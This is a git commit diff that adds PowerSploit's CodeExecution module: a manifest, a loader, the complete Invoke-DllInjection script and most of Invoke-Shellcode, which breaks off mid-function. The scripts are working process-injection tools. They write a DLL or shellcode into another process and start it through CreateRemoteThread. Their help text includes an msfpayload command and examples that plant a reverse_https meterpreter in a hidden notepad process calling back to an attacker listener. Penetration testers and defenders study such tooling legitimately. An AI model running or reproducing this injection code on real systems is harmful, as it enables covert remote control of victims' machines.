aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution
diff options
context:
space:
mode:
authorbitform <matt@exploit-monday.com>2013-01-20 21:34:37 -0500
committerbitform <matt@exploit-monday.com>2013-01-20 21:34:37 -0500
commita233d60908d5442214ac6f5726c89f4d0b41418d (patch)
treea906c93b064d32cd8682d05ab3209607497c043d /CodeExecution
parentb3bbe03e939f300c07169650b342e0665e578085 (diff)
downloadPowerSploit-a233d60908d5442214ac6f5726c89f4d0b41418d.tar.gz
PowerSploit-a233d60908d5442214ac6f5726c89f4d0b41418d.zip
Added 'CodeExecution' Module
* I unfortunately needed to change the names of Inject-Shellcode and Inject-Dll to Invoke-Shellcode and Invoke-DllInjection in order to confirm to proper verb naming.
Diffstat (limited to 'CodeExecution')
-rw-r--r--CodeExecution/CodeExecution.psd188
-rw-r--r--CodeExecution/CodeExecution.psm11
-rw-r--r--CodeExecution/Invoke-DllInjection.ps1328
-rw-r--r--CodeExecution/Invoke-Shellcode.ps1713
-rw-r--r--CodeExecution/Usage.md12
5 files changed, 1142 insertions, 0 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
new file mode 100644
index 0000000..a21f9ea
--- /dev/null
+++ b/CodeExecution/CodeExecution.psd1
@@ -0,0 +1,88 @@
+@{
+
+# Script module or binary module file associated with this manifest.
+ModuleToProcess = 'CodeExecution.psm1'
+
+# Version number of this module.
+ModuleVersion = '1.0.0.0'
+
+# ID used to uniquely identify this module
+GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
+
+# Author of this module
+Author = 'Matthew Graeber'
+
+# Company or vendor of this module
+CompanyName = ''
+
+# Copyright statement for this module
+Copyright = 'BSD 3-Clause'
+
+# Description of the functionality provided by this module
+Description = 'PowerSploit Code Execution Module'
+
+# Minimum version of the Windows PowerShell engine required by this module
+PowerShellVersion = '2.0'
+
+# Name of the Windows PowerShell host required by this module
+# PowerShellHostName = ''
+
+# Minimum version of the Windows PowerShell host required by this module
+# PowerShellHostVersion = ''
+
+# Minimum version of the .NET Framework required by this module
+# DotNetFrameworkVersion = ''
+
+# Minimum version of the common language runtime (CLR) required by this module
+# CLRVersion = ''
+
+# Processor architecture (None, X86, Amd64) required by this module
+# ProcessorArchitecture = ''
+
+# Modules that must be imported into the global environment prior to importing this module
+# RequiredModules = @()
+
+# Assemblies that must be loaded prior to importing this module
+# RequiredAssemblies = @()
+
+# Script files (.ps1) that are run in the caller's environment prior to importing this module.
+# ScriptsToProcess = ''
+
+# Type files (.ps1xml) to be loaded when importing this module
+# TypesToProcess = @()
+
+# Format files (.ps1xml) to be loaded when importing this module
+# FormatsToProcess = @()
+
+# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
+# NestedModules = @()
+
+# Functions to export from this module
+FunctionsToExport = '*'
+
+# Cmdlets to export from this module
+CmdletsToExport = '*'
+
+# Variables to export from this module
+VariablesToExport = ''
+
+# Aliases to export from this module
+AliasesToExport = ''
+
+# List of all modules packaged with this module.
+ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
+
+# List of all files packaged with this module
+FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
+ 'Usage.md'
+
+# Private data to pass to the module specified in RootModule/ModuleToProcess
+# PrivateData = ''
+
+# HelpInfo URI of this module
+# HelpInfoURI = ''
+
+# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
+# DefaultCommandPrefix = ''
+
+} \ No newline at end of file
diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1
new file mode 100644
index 0000000..e5234fb
--- /dev/null
+++ b/CodeExecution/CodeExecution.psm1
@@ -0,0 +1 @@
+Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file
diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1
new file mode 100644
index 0000000..b62e7a1
--- /dev/null
+++ b/CodeExecution/Invoke-DllInjection.ps1
@@ -0,0 +1,328 @@
+function Invoke-DllInjection
+{
+<#
+.SYNOPSIS
+
+Injects a Dll into the process ID of your choosing.
+
+PowerSploit Module - Invoke-DllInjection
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Invoke-DllInjection injects a Dll into an arbitrary process.
+
+.PARAMETER ProcessID
+
+Process ID of the process you want to inject a Dll into.
+
+.PARAMETER Dll
+
+Name of the dll to inject. This can be an absolute or relative path.
+
+.EXAMPLE
+
+C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
+
+Description
+-----------
+Inject 'evil.dll' into process ID 4274.
+
+.NOTES
+
+Use the '-Verbose' option to print detailed information.
+
+.LINK
+
+http://www.exploit-monday.com
+#>
+
+ Param (
+ [Parameter( Position = 0, Mandatory = $True )]
+ [Int]
+ $ProcessID,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Dll
+ )
+
+ # Confirm that the process you want to inject into exists
+ try
+ {
+ Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
+ }
+ catch [System.Management.Automation.ActionPreferenceStopException]
+ {
+ Throw "Process does not exist!"
+ }
+
+ # Confirm that the path to the dll exists
+ try
+ {
+ $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
+ Write-Verbose "Full path to Dll: $Dll"
+ $AsciiEncoder = New-Object System.Text.ASCIIEncoding
+ # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
+ $DllByteArray = $AsciiEncoder.GetBytes($Dll)
+ }
+ catch [System.Management.Automation.ActionPreferenceStopException]
+ {
+ Throw "Invalid Dll path!"
+ }
+
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ function Local:Get-PEArchitecture
+ {
+ Param
+ (
+ [Parameter( Position = 0,
+ Mandatory = $True )]
+ [String]
+ $Path
+ )
+
+ # Parse PE header to see if binary was compiled 32 or 64-bit
+ $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
+
+ [Byte[]] $MZHeader = New-Object Byte[](2)
+ $FileStream.Read($MZHeader,0,2) | Out-Null
+
+ $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
+ if ($Header -ne 'MZ')
+ {
+ $FileStream.Close()
+ Throw 'Invalid PE header.'
+ }
+
+ # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
+ $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
+
+ [Byte[]] $lfanew = New-Object Byte[](4)
+
+ # Read offset to the PE Header (will be read in reverse)
+ $FileStream.Read($lfanew,0,4) | Out-Null
+ $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
+
+ # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
+ $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
+ [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
+
+ # Read compiled architecture
+ $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
+ $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
+ $FileStream.Close()
+
+ if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
+ {
+ Throw 'Invalid PE header or unsupported architecture.'
+ }
+
+ if ($Architecture -eq '014C')
+ {
+ Write-Output 'X86'
+ }
+ elseif ($Architecture -eq '8664')
+ {
+ Write-Output 'X64'
+ }
+ else
+ {
+ Write-Output 'OTHER'
+ }
+ }
+
+
+ # Get addresses of and declare delegates for essential Win32 functions.
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
+ $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
+ $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
+ $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
+ $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
+ $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
+
+ # Assume CPU to be 64-bit unless determined otherwise.
+ $64bitCPU = $True
+
+ # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
+ if ([IntPtr]::Size -eq 4)
+ {
+ $PowerShell32bit = $True
+ }
+ else
+ {
+ $PowerShell32bit = $False
+ }
+
+ # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
+ $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
+
+ if ($IsWow64ProcessAddr)
+ {
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
+ }
+ else
+ {
+ # IsWow64Process does not exist and thus, the CPU is not 64-bit.
+ $64bitCPU = $False
+ }
+
+ # Open a handle to the process you want to inject into
+ $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
+
+ if (!$hProcess)
+ {
+ THrow 'Unable to open process handle.'
+ }
+
+ $Architecture = Get-PEArchitecture $Dll
+
+ if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
+ {
+ if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
+ {
+ Throw 'Only x86 or AMD64 architechtures supported.'
+ }
+
+ # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
+ $IsWow64 = $False
+ $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
+
+ if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
+ {
+ Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
+ }
+
+ if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
+ {
+ Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
+ }
+
+ if ( $IsWow64 -and ($Architecture -eq 'X64') )
+ {
+ Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
+ }
+ }
+ else
+ {
+ if ($Architecture -ne 'X86')
+ {
+ Throw 'PE file was not compiled for x86.'
+ }
+ }
+
+ # Get address of LoadLibraryA function
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
+ Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Reserve and commit memory to hold name of dll
+ $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
+ if ($RemoteMemAddr -eq [IntPtr]::Zero)
+ {
+ Throw 'Unable to allocate memory in remote process.'
+ }
+ Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Write the name of the dll to the remote process address space
+ $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
+ Write-Verbose "Dll path written sucessfully."
+
+ # Execute dll as a remote thread
+ $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
+ if (!$ThreadHandle)
+ {
+ Throw 'Unable to launch remote thread.'
+ }
+
+ $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+
+ # Close process handle
+ $CloseHandle.Invoke($hProcess) | Out-Null
+
+ Write-Verbose 'Dll injection complete!'
+
+ # Extract just the filename from the provided path to the dll.
+ $FileName = Split-Path $Dll -Leaf
+ $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
+
+ if (!$DllInfo)
+ {
+ Throw "Dll did dot inject properly into the victim process."
+ }
+
+ Write-Verbose "Injected DLL information:$($DllInfo)"
+} \ No newline at end of file
diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1
new file mode 100644
index 0000000..e23c0f9
--- /dev/null
+++ b/CodeExecution/Invoke-Shellcode.ps1
@@ -0,0 +1,713 @@
+function Invoke-Shellcode
+{
+<#
+.SYNOPSIS
+
+Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
+
+PowerSploit Module - Invoke-Shellcode
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
+
+PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
+
+msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
+
+Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
+
+.PARAMETER ProcessID
+
+Process ID of the process you want to inject shellcode into.
+
+.PARAMETER Shellcode
+
+Specifies an optional shellcode passed in as a byte array
+
+.PARAMETER ListMetasploitPayloads
+
+Lists all of the available Metasploit payloads that Invoke-Shellcode supports
+
+.PARAMETER Lhost
+
+Specifies the IP address of the attack machine waiting to receive the reverse shell
+
+.PARAMETER Lport
+
+Specifies the port of the attack machine waiting to receive the reverse shell
+
+.PARAMETER Payload
+
+Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
+
+.PARAMETER UserAgent
+
+Optionally specifies the user agent to use when using meterpreter http or https payloads
+
+.PARAMETER Force
+
+Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -ProcessId 4274
+
+Description
+-----------
+Inject shellcode into process ID 4274.
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode
+
+Description
+-----------
+Inject shellcode into the running instance of PowerShell.
+
+.EXAMPLE
+
+C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
+C:\PS> $Proc = Get-Process notepad
+C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
+
+VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
+VERBOSE: Injecting shellcode into PID: 4004
+VERBOSE: Injecting into a Wow64 process.
+VERBOSE: Using 32-bit shellcode.
+VERBOSE: Shellcode memory reserved at 0x03BE0000
+VERBOSE: Emitting 32-bit assembly call stub.
+VERBOSE: Thread call stub memory reserved at 0x001B0000
+VERBOSE: Shellcode injection complete!
+
+Description
+-----------
+Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
+
+Payload options (windows/meterpreter/reverse_https):
+
+Name Current Setting Required Description
+---- --------------- -------- -----------
+EXITFUNC thread yes Exit technique: seh, thread, process, none
+LHOST 192.168.30.129 yes The local listener hostname
+LPORT 443 yes The local listener port
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
+
+Description
+-----------
+Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
+
+Payload options (windows/meterpreter/reverse_http):
+
+Name Current Setting Required Description
+---- --------------- -------- -----------
+EXITFUNC thread yes Exit technique: seh, thread, process, none
+LHOST 192.168.30.129 yes The local listener hostname
+LPORT 80 yes The local listener port
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
+Description
+-----------
+Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
+Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -ListMetasploitPayloads
+
+Payloads
+--------
+windows/meterpreter/reverse_http
+windows/meterpreter/reverse_https
+
+.NOTES
+
+Use the '-Verbose' option to print detailed information.
+
+Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
+
+Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
+
+.LINK
+
+http://www.exploit-monday.com
+#>
+
+[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
+ [ValidateNotNullOrEmpty()]
+ [UInt16]
+ $ProcessID,
+
+ [Parameter( ParameterSetName = 'RunLocal' )]
+ [ValidateNotNullOrEmpty()]
+ [Byte[]]
+ $Shellcode,
+
+ [Parameter( ParameterSetName = 'Metasploit' )]
+ [ValidateSet( 'windows/meterpreter/reverse_http',
+ 'windows/meterpreter/reverse_https',
+ IgnoreCase = $True )]
+ [String]
+ $Payload = 'windows/meterpreter/reverse_http',
+
+ [Parameter( ParameterSetName = 'ListPayloads' )]
+ [Switch]
+ $ListMetasploitPayloads,
+
+ [Parameter( Mandatory = $True,
+ ParameterSetName = 'Metasploit' )]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Lhost = '127.0.0.1',
+
+ [Parameter( Mandatory = $True,
+ ParameterSetName = 'Metasploit' )]
+ [ValidateRange( 1,65535 )]
+ [Int]
+ $Lport = 8443,
+
+ [Parameter( ParameterSetName = 'Metasploit' )]
+ [ValidateNotNull()]
+ [String]
+ $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
+
+ [Switch]
+ $Force = $False
+)
+
+ Set-StrictMode -Version 2.0
+
+ # List all available Metasploit payloads and exit the function
+ if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
+ {
+ $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
+ Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
+
+ foreach ($Payload in $AvailablePayloads.ValidValues)
+ {
+ New-Object PSObject -Property @{ Payloads = $Payload }
+ }
+
+ Return
+ }
+
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Ensure a valid process ID was provided
+ # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
+ Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
+ }
+
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
+ function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
+ {
+ $IntSizePtr = $Architecture / 8
+
+ function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
+ {
+ $LittleEndianByteArray = New-Object Byte[](0)
+ $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
+ [System.Array]::Reverse($LittleEndianByteArray)
+
+ Write-Output $LittleEndianByteArray
+ }
+
+ $CallStub = New-Object Byte[](0)
+
+ if ($IntSizePtr -eq 8)
+ {
+ [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
+ $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
+ $CallStub += 0xFF,0xD0 # CALL RAX
+ $CallStub += 0x6A,0x00 # PUSH BYTE 0
+ $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
+ $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
+ $CallStub += 0xFF,0xD0 # CALL RAX
+ }
+ else
+ {
+ [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
+ $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
+ $CallStub += 0xFF,0xD0 # CALL EAX
+ $CallStub += 0x6A,0x00 # PUSH BYTE 0
+ $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
+ $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
+ $CallStub += 0xFF,0xD0 # CALL EAX
+ }
+
+ Write-Output $CallStub
+ }
+
+ function Local:Inject-RemoteShellcode ([Int] $ProcessID)
+ {
+ # Open a handle to the process you want to inject into
+ $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
+
+ if (!$hProcess)
+ {
+ Throw "Unable to open a process handle for PID: $ProcessID"
+ }
+
+ $IsWow64 = $false
+
+ if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
+ {
+ # Determine is the process specified is 32 or 64 bit
+ $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
+
+ if ((!$IsWow64) -and $PowerShell32bit)
+ {
+ Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
+ }
+ elseif ($IsWow64) # 32-bit Wow64 process
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
+ $Shellcode = $Shellcode32
+ Write-Verbose 'Injecting into a Wow64 process.'
+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+ else # 64-bit process
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ }
+
+ $Shellcode = $Shellcode64
+ Write-Verbose 'Using 64-bit shellcode.'
+ }
+ }
+ else # 32-bit CPU
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
+ $Shellcode = $Shellcode32
+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+
+ # Reserve and commit enough memory in remote process to hold the shellcode
+ $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+
+ if (!$RemoteMemAddr)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy shellcode into the previously allocated memory
+ $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
+
+ # Get address of ExitThread function
+ $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
+
+ if ($IsWow64)
+ {
+ # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
+ $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
+
+ Write-Verbose 'Emitting 32-bit assembly call stub.'
+ }
+ else
+ {
+ # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
+ $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
+
